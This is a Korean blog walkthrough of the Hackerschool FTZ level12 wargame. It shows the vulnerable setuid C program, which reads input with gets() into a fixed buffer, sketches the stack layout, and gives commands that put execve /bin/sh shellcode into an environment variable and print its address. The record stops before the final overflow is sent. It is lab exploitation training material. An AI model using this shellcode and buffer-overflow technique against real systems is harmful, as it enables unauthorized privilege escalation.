해커스쿨 FTZ [LEVEL12] 풀이
M4ndU
해커스쿨 FTZ [LEVEL12] 풀이입니다.
ID | level12
PW | it is like this
으로 로그인합니다.
$ ls -l
를 이용해 어떤 파일과 어떤 폴더가 있는지 확인하고,
$ cat hint
를 이용해 힌트를 확인합시다.
login as: level12
level12@192.168.31.128's password:
[level12@ftz level12]$ ls -l
total 28
-rwsr-x--- 1 level13 level12 13771 Mar 8 2003 attackme
-rw-r----- 1 root level12 204 Mar 8 2003 hint
drwxr-xr-x 2 root level12 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level12 4096 Jan 15 2009 tmp
[level12@ftz level12]$ cat hint
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main( void )
{
char str[256];
setreuid( 3093, 3093 );
printf( "문장을 입력하세요.\n" );
gets( str );
printf( "%s\n", str );
}
이번 문제도 level11과 같아보지만, main 함수의 인자가 아닌, gets 함수를 통해 입력값을 받는다는 것이 다른 것을 확인할 수 있습니다.
먼저 gdb로 분석을 합니다.
낮은 주소
str[256]
dummy[8]
SFP[4]
RET[4]
높은 주소
이번에 풀때는 깔끔하게 환경변수를 이용해 풀어보겠습니다.
tmp폴더로 이동합니다.
그리고 다음 명령어를 순서대로 입력하여 실행합니다.
$export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
$echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
$gcc getenv.c -o getenv
$./getenv
[level12@ftz level12]$ cd tmp
[level12@ftz tmp]$ export EGG=`python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
[level12@ftz tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[level12@ftz tmp]$ gcc getenv.c -o getenv
[level12@ftz tmp]$ ./getenv
ADDR -> 0xbffffc8d
'System Hacking > FTZ' 카테고리의 다른 글
해커스쿨 FTZ [LEVEL14] 풀이 (4) | 2018.02.09 |
---|---|
해커스쿨 FTZ [LEVEL13] 풀이 (2) | 2018.02.09 |
해커스쿨 FTZ [LEVEL11] 풀이 (3) | 2018.02.08 |
해커스쿨 FTZ [LEVEL10] 풀이 (0) | 2018.02.07 |
해커스쿨 FTZ [LEVEL9] 풀이 (0) | 2018.02.07 |